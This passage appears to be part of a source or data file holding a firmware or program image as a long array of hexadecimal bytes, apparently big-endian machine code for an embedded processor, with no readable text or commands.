0xe8, 0x76, 0x00, 0x00,
0xd8, 0x65, 0x20, 0x00,
0xf8, 0x16, 0x00, 0x10,
0xf8, 0x16, 0x00, 0x0c,
0x30, 0x60, 0x00, 0x01,
0xfb, 0x96, 0x00, 0x14,
0xf8, 0x76, 0x00, 0x10,
0x32, 0x40, 0x00, 0x09,
0x16, 0x59, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0xb8,
0x30, 0x7a, 0x00, 0x0a,
0x32, 0xfa, 0x00, 0x09,
0x32, 0x60, 0x00, 0x09,
0xc1, 0x1a, 0x98, 0x00,
0x10, 0xd6, 0x00, 0x00,
0x10, 0xb8, 0x00, 0x00,
0x91, 0x08, 0x00, 0x60,
0x31, 0x08, 0xff, 0xd0,
0xb9, 0xf4, 0xf3, 0xa4,
0x30, 0xe0, 0x00, 0x0a,
0x32, 0x73, 0x00, 0x01,
0x16, 0x53, 0xc8, 0x00,
0xbe, 0x32, 0xff, 0xdc,
0x12, 0xc3, 0x00, 0x00,
0x10, 0xb9, 0x00, 0x00,
0x10, 0x77, 0xc8, 0x00,
0x30, 0x63, 0xff, 0xf8,
0x16, 0x5b, 0x28, 0x01,
0xbe, 0xb2, 0x00, 0x3c,
0x12, 0x63, 0x00, 0x00,
0x14, 0x65, 0xd8, 0x00,
0x12, 0xf3, 0x18, 0x00,
0xe1, 0x13, 0x00, 0x00,
0x10, 0xd6, 0x00, 0x00,
0x10, 0xb8, 0x00, 0x00,
0x91, 0x08, 0x00, 0x60,
0x31, 0x08, 0xff, 0xd0,
0xb9, 0xf4, 0xf3, 0x58,
0x30, 0xe0, 0x00, 0x0a,
0x32, 0x73, 0x00, 0x01,
0x16, 0x53, 0xb8, 0x00,
0xbe, 0x32, 0xff, 0xdc,
0x12, 0xc3, 0x00, 0x00,
0x10, 0x76, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x3c,
0xb8, 0x10, 0xff, 0x90,
0x30, 0xa0, 0x00, 0x09,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x65, 0x30,
0x30, 0xa0, 0x00, 0x10,
0xfa, 0xc3, 0x00, 0x0c,
0xf8, 0x78, 0x00, 0x24,
0xfa, 0xc3, 0x00, 0x04,
0xfa, 0xc3, 0x00, 0x08,
0xfa, 0xc3, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xdc,
0x12, 0x63, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x04,
0xb9, 0xf4, 0x0e, 0xfc,
0x30, 0xe0, 0x00, 0x10,
0xf8, 0x73, 0x00, 0x0c,
0xea, 0x78, 0x00, 0x24,
0xe8, 0x73, 0x00, 0x0c,
0xbe, 0x23, 0xfe, 0xc8,
0x12, 0xc3, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xe8,
0x30, 0x60, 0x00, 0x01,
0x10, 0xc3, 0x00, 0x00,
0x10, 0xb8, 0x00, 0x00,
0xa6, 0x57, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x12, 0x73, 0x98, 0x00,
0x60, 0xf3, 0x00, 0x04,
0xb9, 0xf4, 0x0e, 0xb4,
0x30, 0xe7, 0x00, 0x14,
0xbc, 0x03, 0xfe, 0xb0,
0xfa, 0xe3, 0x00, 0x04,
0xfa, 0x63, 0x00, 0x08,
0xb8, 0x10, 0xfe, 0x9c,
0x12, 0xc3, 0x00, 0x00,
0x30, 0x21, 0xff, 0xcc,
0xa4, 0x67, 0x00, 0x03,
0xfa, 0x61, 0x00, 0x1c,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x21, 0x00, 0x2c,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x41, 0x00, 0x30,
0x12, 0x67, 0x00, 0x00,
0x13, 0x25, 0x00, 0x00,
0xbe, 0x23, 0x00, 0xe4,
0x13, 0x06, 0x00, 0x00,
0x92, 0xf3, 0x00, 0x01,
0x92, 0xf7, 0x00, 0x01,
0xbc, 0x17, 0x00, 0x94,
0xea, 0x79, 0x00, 0x24,
0xbe, 0x13, 0x01, 0x58,
0x12, 0xd3, 0x00, 0x00,
0xea, 0xd3, 0x00, 0x08,
0xbe, 0x36, 0x00, 0x2c,
0x13, 0x53, 0x00, 0x00,
0xb8, 0x00, 0x00, 0xf8,
0x92, 0xf7, 0x00, 0x01,
0x10, 0xd6, 0x00, 0x00,
0x10, 0xf6, 0x00, 0x00,
0xbe, 0x17, 0x00, 0x68,
0x10, 0xb9, 0x00, 0x00,
0xea, 0x76, 0x00, 0x00,
0xbc, 0x13, 0x00, 0x84,
0x12, 0xd3, 0x00, 0x00,
0xa4, 0x77, 0x00, 0x01,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xf6, 0x00, 0x00,
0xbe, 0x03, 0xff, 0xd4,
0x10, 0xb9, 0x00, 0x00,
0xb9, 0xf4, 0xf7, 0x5c,
0x80, 0x00, 0x00, 0x00,
0xea, 0x79, 0x00, 0x24,
0x13, 0x43, 0x00, 0x00,
0xbe, 0x13, 0x00, 0x8c,
0x30, 0xa0, 0x00, 0x10,
0xbc, 0x18, 0x00, 0x20,
0xe8, 0x99, 0x00, 0x24,
0xe8, 0x78, 0x00, 0x04,
0xe8, 0xa4, 0x00, 0x0c,
0x60, 0x63, 0x00, 0x04,
0xc8, 0x85, 0x18, 0x00,
0xf8, 0x98, 0x00, 0x00,
0xdb, 0x05, 0x18, 0x00,
0xb8, 0x10, 0xff, 0x94,
0x13, 0x1a, 0x00, 0x00,
0x10, 0x78, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x34,
0xb9, 0xf4, 0xf6, 0xf4,
0x80, 0x00, 0x00, 0x00,
0xf8, 0x76, 0x00, 0x00,
0xfa, 0x63, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x74,
0x12, 0xc3, 0x00, 0x00,
0x60, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xe3, 0x03, 0x68,
0xb9, 0xf4, 0xf1, 0x5c,
0x11, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x10,
0x13, 0x03, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x63, 0x74,
0x80, 0x00, 0x00, 0x00,
0xfa, 0x63, 0x00, 0x0c,
0xfa, 0x63, 0x00, 0x08,
0xfa, 0x63, 0x00, 0x00,
0xf8, 0x79, 0x00, 0x24,
0xfa, 0x63, 0x00, 0x04,
0xb8, 0x00, 0xff, 0x5c,
0xe8, 0x73, 0x00, 0x0c,
0xbe, 0x03, 0x00, 0x70,
0x10, 0xb9, 0x00, 0x00,
0xe8, 0x93, 0x00, 0x0c,
0xea, 0xc4, 0x00, 0x04,
0xbe, 0x16, 0x00, 0x80,
0x30, 0xc0, 0x00, 0x01,
0xe8, 0x76, 0x00, 0x00,
0xf8, 0x64, 0x00, 0x04,
0xf8, 0x16, 0x00, 0x10,
0xf8, 0x16, 0x00, 0x0c,
0xfa, 0xda, 0x00, 0x08,
0x30, 0x60, 0x02, 0x71,
0x30, 0x80, 0x00, 0x01,
0xf8, 0x76, 0x00, 0x14,
0xf8, 0x96, 0x00, 0x10,
0xf8, 0x16, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xec,
0xa4, 0x77, 0x00, 0x01,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x63, 0x04,
0x30, 0xa0, 0x00, 0x10,
0xfa, 0xc3, 0x00, 0x0c,
0xf8, 0x79, 0x00, 0x24,
0xfa, 0xc3, 0x00, 0x04,
0xfa, 0xc3, 0x00, 0x08,
0xfa, 0xc3, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x90,
0x12, 0x63, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x04,
0xb9, 0xf4, 0x0c, 0xd0,
0x30, 0xe0, 0x00, 0x10,
0xf8, 0x73, 0x00, 0x0c,
0xea, 0x79, 0x00, 0x24,
0xe8, 0x73, 0x00, 0x0c,
0xbc, 0x23, 0xff, 0x80,
0xb8, 0x00, 0xff, 0x9c,
0x10, 0xb9, 0x00, 0x00,
0xb9, 0xf4, 0x0c, 0xb0,
0x30, 0xe0, 0x00, 0x1c,
0xbe, 0x03, 0xff, 0x8c,
0x30, 0x80, 0x00, 0x02,
0x12, 0xc3, 0x00, 0x00,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x76, 0x00, 0x04,
0xf8, 0x96, 0x00, 0x08,
0xb8, 0x00, 0xff, 0x6c,
0x30, 0x21, 0xff, 0xbc,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x81, 0x00, 0x38,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x41, 0x00, 0x30,
0xfb, 0x61, 0x00, 0x34,
0xfb, 0xa1, 0x00, 0x3c,
0xfb, 0xc1, 0x00, 0x40,
0x12, 0xe6, 0x00, 0x00,
0x12, 0xc7, 0x00, 0x00,
0xbe, 0x06, 0x02, 0xa4,
0x13, 0x85, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x6e, 0x20,
0x32, 0x77, 0xff, 0xf8,
0x30, 0x76, 0x00, 0x0b,
0xe8, 0xd3, 0x00, 0x04,
0x22, 0x40, 0x00, 0x16,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x88,
0xa4, 0xa3, 0xff, 0xf8,
0x30, 0xa0, 0x00, 0x10,
0x13, 0x65, 0x00, 0x00,
0x16, 0x56, 0xd8, 0x03,
0xbe, 0x52, 0x00, 0xfc,
0x10, 0x60, 0x00, 0x00,
0xbe, 0x23, 0x00, 0xf4,
0xa7, 0x06, 0xff, 0xfc,
0x16, 0x45, 0xc0, 0x01,
0xbe, 0x52, 0x01, 0x2c,
0x10, 0xf3, 0xc0, 0x00,
0x13, 0x38, 0x00, 0x00,
0x13, 0x53, 0x00, 0x00,
0x11, 0x13, 0x00, 0x00,
0x32, 0x73, 0x00, 0x08,
0x14, 0xfb, 0xc8, 0x00,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbc, 0x52, 0x02, 0x74,
0xe8, 0x68, 0x00, 0x04,
0x10, 0xb9, 0xd0, 0x00,
0xa4, 0x63, 0x00, 0x01,
0x80, 0x79, 0x18, 0x00,
0xf8, 0x68, 0x00, 0x04,
0xe8, 0x85, 0x00, 0x04,
0xa0, 0x84, 0x00, 0x01,
0xf8, 0x85, 0x00, 0x04,
0x10, 0xbc, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x6d, 0x98,
0x12, 0xd3, 0x00, 0x00,
0xb8, 0x10, 0x00, 0xa0,
0x10, 0x76, 0x00, 0x00,
0x13, 0x65, 0x00, 0x00,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x16, 0x56, 0xd8, 0x03,
0xbc, 0xb2, 0xff, 0x10,
0x30, 0x60, 0x00, 0x0c,
0x12, 0xc0, 0x00, 0x00,
0xf8, 0x7c, 0x00, 0x0c,
0x10, 0x76, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xeb, 0xa1, 0x00, 0x3c,
0xeb, 0xc1, 0x00, 0x40,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x44,
0xb0, 0x00, 0x00, 0x01,
0xe9, 0x20, 0x05, 0xa0,
0xb0, 0x00, 0x00, 0x01,
0x33, 0xc0, 0x05, 0x98,
0x16, 0x49, 0x38, 0x00,
0xbe, 0x12, 0x03, 0x20,
0x13, 0x53, 0x00, 0x00,
0xe9, 0x07, 0x00, 0x04,
0xa4, 0x68, 0xff, 0xfe,
0x10, 0x63, 0x38, 0x00,
0xe8, 0x83, 0x00, 0x04,
0xa4, 0x84, 0x00, 0x01,
0xbe, 0x04, 0x01, 0x10,
0xa5, 0x08, 0xff, 0xfc,
0x11, 0x00, 0x00, 0x00,
0x10, 0xe8, 0x00, 0x00,
0xa4, 0x66, 0x00, 0x01,
0xbe, 0x23, 0x01, 0x68,
0x10, 0xd6, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x00,
0x17, 0xa3, 0x98, 0x00,
0xe8, 0x9d, 0x00, 0x04,
0xbe, 0x07, 0x02, 0x24,
0xa4, 0x84, 0xff, 0xfc,
0x16, 0x49, 0x38, 0x00,
0xbe, 0x12, 0x03, 0x30,
0x11, 0x38, 0x20, 0x00,
0x13, 0x28, 0x48, 0x00,
0x16, 0x45, 0xc8, 0x01,
0xbc, 0x52, 0x02, 0x0c,
0xe8, 0x67, 0x00, 0x0c,
0xe8, 0xa7, 0x00, 0x08,
0x30, 0xf8, 0xff, 0xfc,
0x13, 0x5d, 0x00, 0x00,
0xf8, 0x65, 0x00, 0x0c,
0xf8, 0xa3, 0x00, 0x08,
0xe8, 0x9d, 0x00, 0x0c,
0xe8, 0x7d, 0x00, 0x08,
0xf8, 0x64, 0x00, 0x08,
0xf8, 0x83, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x24,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x03, 0xe0,
0x31, 0x5d, 0x00, 0x08,
0x10, 0xb7, 0x00, 0x00,
0x22, 0x40, 0x00, 0x13,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x4c,
0x11, 0x2a, 0x00, 0x00,
0xe8, 0x97, 0x00, 0x00,
0x31, 0x3d, 0x00, 0x10,
0xf8, 0x9d, 0x00, 0x08,
0xe8, 0x77, 0x00, 0x04,
0xf8, 0x7d, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x1b,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x28,
0x30, 0xb7, 0x00, 0x08,
0xe8, 0x97, 0x00, 0x08,
0x31, 0x3d, 0x00, 0x18,
0xf8, 0x9d, 0x00, 0x10,
0xe8, 0x77, 0x00, 0x0c,
0xf8, 0x7d, 0x00, 0x14,
0xaa, 0x47, 0x00, 0x24,
0xbe, 0x12, 0x03, 0xec,
0x30, 0xb7, 0x00, 0x10,
0xe8, 0x65, 0x00, 0x00,
0x11, 0x1d, 0x00, 0x00,
0xf8, 0x69, 0x00, 0x00,
0xe8, 0x85, 0x00, 0x04,
0xf8, 0x89, 0x00, 0x04,
0xe8, 0x65, 0x00, 0x08,
0xf8, 0x69, 0x00, 0x08,
0xb8, 0x10, 0xfd, 0xc8,
0x12, 0x6a, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x5f, 0xe0,
0x10, 0xc7, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x90,
0x12, 0xc3, 0x00, 0x00,
0x13, 0x38, 0x40, 0x00,
0x16, 0x45, 0xc8, 0x01,
0xbe, 0x52, 0xfe, 0xfc,
0xa4, 0x66, 0x00, 0x01,
0xe8, 0x87, 0x00, 0x08,
0xe8, 0x67, 0x00, 0x0c,
0x11, 0x13, 0x00, 0x00,
0xf8, 0x83, 0x00, 0x08,
0xf8, 0x64, 0x00, 0x0c,
0xb8, 0x10, 0xfd, 0x88,
0x32, 0x73, 0x00, 0x08,
0xe8, 0x68, 0x00, 0x04,
0x10, 0xdb, 0xd0, 0x00,
0xa0, 0xa7, 0x00, 0x01,
0xa4, 0x63, 0x00, 0x01,
0x80, 0x7b, 0x18, 0x00,
0xf8, 0x68, 0x00, 0x04,
0xf8, 0xa6, 0x00, 0x04,
0x10, 0x86, 0x38, 0x00,
0xe8, 0x64, 0x00, 0x04,
0x10, 0xbc, 0x00, 0x00,
0xa0, 0x63, 0x00, 0x01,
0xf8, 0x64, 0x00, 0x04,
0xb9, 0xf4, 0xc8, 0x20,
0x30, 0xc6, 0x00, 0x08,
0xb8, 0x10, 0xfd, 0x7c,
0x10, 0xbc, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x5f, 0x60,
0x10, 0xbc, 0x00, 0x00,
0xbe, 0x03, 0x00, 0xb0,
0x12, 0xc3, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x04,
0x30, 0x96, 0xff, 0xf8,
0xa4, 0x63, 0xff, 0xfe,
0x10, 0x73, 0x18, 0x00,
0x16, 0x43, 0x20, 0x00,
0xbe, 0x12, 0x02, 0x9c,
0x30, 0xf8, 0xff, 0xfc,
0x22, 0x40, 0x00, 0x24,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x01, 0xa0,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xb7, 0x00, 0x00,
0x22, 0x40, 0x00, 0x13,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x4c,
0x10, 0xd6, 0x00, 0x00,
0xe8, 0x97, 0x00, 0x00,
0x30, 0xd6, 0x00, 0x08,
0xf8, 0x96, 0x00, 0x00,
0xe8, 0x77, 0x00, 0x04,
0xf8, 0x76, 0x00, 0x04,
0x22, 0x40, 0x00, 0x1b,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x28,
0x30, 0xb7, 0x00, 0x08,
0xe8, 0x97, 0x00, 0x08,
0x30, 0xd6, 0x00, 0x10,
0xf8, 0x96, 0x00, 0x08,
0xe8, 0x77, 0x00, 0x0c,
0xf8, 0x76, 0x00, 0x0c,
0xaa, 0x47, 0x00, 0x24,
0xbe, 0x12, 0x02, 0x80,
0x30, 0xb7, 0x00, 0x10,
0xe8, 0x65, 0x00, 0x00,
0xf8, 0x66, 0x00, 0x00,
0xe8, 0x85, 0x00, 0x04,
0xf8, 0x86, 0x00, 0x04,
0xe8, 0x65, 0x00, 0x08,
0xf8, 0x66, 0x00, 0x08,
0x10, 0xd7, 0x00, 0x00,
0xb9, 0xf4, 0xc7, 0x5c,
0x10, 0xbc, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x6a, 0x50,
0x10, 0xbc, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x58,
0x10, 0x76, 0x00, 0x00,
0x11, 0x38, 0x20, 0x00,
0x16, 0x45, 0x48, 0x01,
0xbe, 0x52, 0xff, 0x28,
0x10, 0xd6, 0x00, 0x00,
0xe8, 0x9d, 0x00, 0x0c,
0xe8, 0x7d, 0x00, 0x08,
0x30, 0xf8, 0xff, 0xfc,
0x13, 0x5d, 0x00, 0x00,
0xf8, 0x64, 0x00, 0x08,
0xf8, 0x83, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x24,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x01, 0xf4,
0x31, 0x7d, 0x00, 0x08,
0x10, 0xb7, 0x00, 0x00,
0x22, 0x40, 0x00, 0x13,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x4c,
0x11, 0x4b, 0x00, 0x00,
0xe8, 0x97, 0x00, 0x00,
0x31, 0x5d, 0x00, 0x10,
0xf8, 0x9d, 0x00, 0x08,
0xe8, 0x77, 0x00, 0x04,
0xf8, 0x7d, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x1b,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x28,
0x30, 0xb7, 0x00, 0x08,
0xe8, 0x97, 0x00, 0x08,
0x31, 0x5d, 0x00, 0x18,
0xf8, 0x9d, 0x00, 0x10,
0xe8, 0x77, 0x00, 0x0c,
0xf8, 0x7d, 0x00, 0x14,
0xaa, 0x47, 0x00, 0x24,
0xbe, 0x12, 0x02, 0x04,
0x30, 0xb7, 0x00, 0x10,
0xe8, 0x65, 0x00, 0x00,
0x11, 0x1d, 0x00, 0x00,
0x13, 0x29, 0x00, 0x00,
0xf8, 0x6a, 0x00, 0x00,
0xe8, 0x85, 0x00, 0x04,
0xf8, 0x8a, 0x00, 0x04,
0xe8, 0x65, 0x00, 0x08,
0xf8, 0x6a, 0x00, 0x08,
0xb8, 0x10, 0xfb, 0xc0,
0x12, 0x6b, 0x00, 0x00,
0xe8, 0x67, 0x00, 0x04,
0x30, 0x9b, 0x00, 0x10,
0xa5, 0x03, 0xff, 0xfc,
0x10, 0x78, 0x40, 0x00,
0x16, 0x44, 0x18, 0x01,
0xbe, 0x52, 0xfc, 0xf8,
0x14, 0x7b, 0x18, 0x00,
0x10, 0xd3, 0xd8, 0x00,
0xa0, 0x63, 0x00, 0x01,
0xf8, 0x66, 0x00, 0x04,
0xe8, 0x93, 0x00, 0x04,
0xf8, 0xde, 0x00, 0x08,
0xa4, 0x84, 0x00, 0x01,
0x80, 0x9b, 0x20, 0x00,
0xf8, 0x93, 0x00, 0x04,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x69, 0x48,
0x10, 0xbc, 0x00, 0x00,
0xb8, 0x10, 0xfc, 0x4c,
0x32, 0xd3, 0x00, 0x08,
0xb9, 0xf4, 0xd4, 0x14,
0x10, 0xd7, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xd4,
0x10, 0xd7, 0x00, 0x00,
0x13, 0x28, 0x48, 0x00,
0x30, 0x7b, 0x00, 0x10,
0x16, 0x43, 0xc8, 0x01,
0xbe, 0x52, 0xfe, 0xe0,
0x30, 0xf8, 0xff, 0xfc,
0xe8, 0x9d, 0x00, 0x0c,
0xe8, 0x7d, 0x00, 0x08,
0xf8, 0x64, 0x00, 0x08,
0xf8, 0x83, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x24,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x01, 0x18,
0x32, 0xdd, 0x00, 0x08,
0x10, 0xd7, 0x00, 0x00,
0x22, 0x40, 0x00, 0x13,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x4c,
0x10, 0xb6, 0x00, 0x00,
0xe8, 0x97, 0x00, 0x00,
0x30, 0xbd, 0x00, 0x10,
0xf8, 0x9d, 0x00, 0x08,
0xe8, 0x77, 0x00, 0x04,
0xf8, 0x7d, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x1b,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x28,
0x30, 0xd7, 0x00, 0x08,
0xe8, 0x97, 0x00, 0x08,
0x30, 0xbd, 0x00, 0x18,
0xf8, 0x9d, 0x00, 0x10,
0xe8, 0x77, 0x00, 0x0c,
0xf8, 0x7d, 0x00, 0x14,
0xaa, 0x47, 0x00, 0x24,
0xbe, 0x12, 0x01, 0x0c,
0x30, 0xd7, 0x00, 0x10,
0xe8, 0x66, 0x00, 0x00,
0xf8, 0x65, 0x00, 0x00,
0xe8, 0x86, 0x00, 0x04,
0xf8, 0x85, 0x00, 0x04,
0xe8, 0x66, 0x00, 0x08,
0xf8, 0x65, 0x00, 0x08,
0x14, 0x7b, 0xc8, 0x00,
0x10, 0xdd, 0xd8, 0x00,
0xa0, 0x63, 0x00, 0x01,
0xf8, 0x66, 0x00, 0x04,
0xe8, 0x9d, 0x00, 0x04,
0xf8, 0xde, 0x00, 0x08,
0xa4, 0x84, 0x00, 0x01,
0x80, 0x9b, 0x20, 0x00,
0xf8, 0x9d, 0x00, 0x04,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x68, 0x5c,
0x10, 0xbc, 0x00, 0x00,
0xb8, 0x10, 0xfb, 0x64,
0x10, 0x76, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x04,
0x11, 0x13, 0x00, 0x00,
0x32, 0x73, 0x00, 0x08,
0xa4, 0x63, 0xff, 0xfc,
0xb8, 0x10, 0xfa, 0x6c,
0x13, 0x38, 0x18, 0x00,
0x10, 0xd7, 0x00, 0x00,
0x10, 0xaa, 0x00, 0x00,
0xb9, 0xf4, 0xd3, 0x08,
0x12, 0x6a, 0x00, 0x00,
0xb8, 0x10, 0xfa, 0x54,
0x11, 0x1d, 0x00, 0x00,
0x10, 0xd7, 0x00, 0x00,
0x10, 0xab, 0x00, 0x00,
0x13, 0x29, 0x00, 0x00,
0xb9, 0xf4, 0xd2, 0xec,
0x12, 0x6b, 0x00, 0x00,
0xb8, 0x10, 0xfa, 0x38,
0x11, 0x1d, 0x00, 0x00,
0xe8, 0x97, 0x00, 0x10,
0x30, 0xd6, 0x00, 0x18,
0xf8, 0x96, 0x00, 0x10,
0xe8, 0x77, 0x00, 0x14,
0xf8, 0x76, 0x00, 0x14,
0xb8, 0x10, 0xfd, 0x74,
0x30, 0xb7, 0x00, 0x18,
0x10, 0xd7, 0x00, 0x00,
0xb9, 0xf4, 0xd2, 0xbc,
0x10, 0xb6, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x58,
0x14, 0x7b, 0xc8, 0x00,
0xe8, 0x97, 0x00, 0x10,
0x30, 0xb7, 0x00, 0x18,
0xf8, 0x9d, 0x00, 0x18,
0xe8, 0x77, 0x00, 0x14,
0xf8, 0x7d, 0x00, 0x1c,
0xb8, 0x10, 0xfc, 0x08,
0x31, 0x3d, 0x00, 0x20,
0xe8, 0x97, 0x00, 0x10,
0x30, 0xb7, 0x00, 0x18,
0xf8, 0x9d, 0x00, 0x18,
0xe8, 0x77, 0x00, 0x14,
0xf8, 0x7d, 0x00, 0x1c,
0xb8, 0x10, 0xfd, 0xf0,
0x31, 0x5d, 0x00, 0x20,
0xe8, 0x97, 0x00, 0x10,
0x30, 0xd7, 0x00, 0x18,
0xf8, 0x9d, 0x00, 0x18,
0xe8, 0x77, 0x00, 0x14,
0xf8, 0x7d, 0x00, 0x1c,
0xb8, 0x10, 0xfe, 0xe8,
0x30, 0xbd, 0x00, 0x20,
0x30, 0x21, 0xff, 0xd4,
0xfb, 0x01, 0x00, 0x28,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xbe, 0x05, 0x00, 0x6c,
0x13, 0x05, 0x00, 0x00,
0x30, 0x98, 0x00, 0x48,
0xea, 0xe4, 0x00, 0x04,
0x30, 0x77, 0xff, 0xff,
0xbe, 0x43, 0x00, 0x2c,
0x60, 0x63, 0x00, 0x04,
0x30, 0x63, 0x00, 0x08,
0x12, 0x64, 0x18, 0x00,
0x12, 0xc0, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x00,
0x32, 0xd6, 0x00, 0x01,
0x99, 0xfc, 0x18, 0x00,
0x32, 0x73, 0xff, 0xfc,
0x16, 0x57, 0xb0, 0x00,
0xbc, 0x32, 0xff, 0xec,
0xe8, 0x78, 0x00, 0x28,
0xbc, 0x03, 0x00, 0x0c,
0x99, 0xfc, 0x18, 0x00,
0x10, 0xb8, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x2c,
0xb0, 0x00, 0x00, 0x01,
0xeb, 0x00, 0x04, 0xa4,
0xb8, 0x10, 0xff, 0x98,
0x30, 0x98, 0x00, 0x48,
0x30, 0x21, 0xff, 0xbc,
0xfa, 0xc1, 0x00, 0x20,
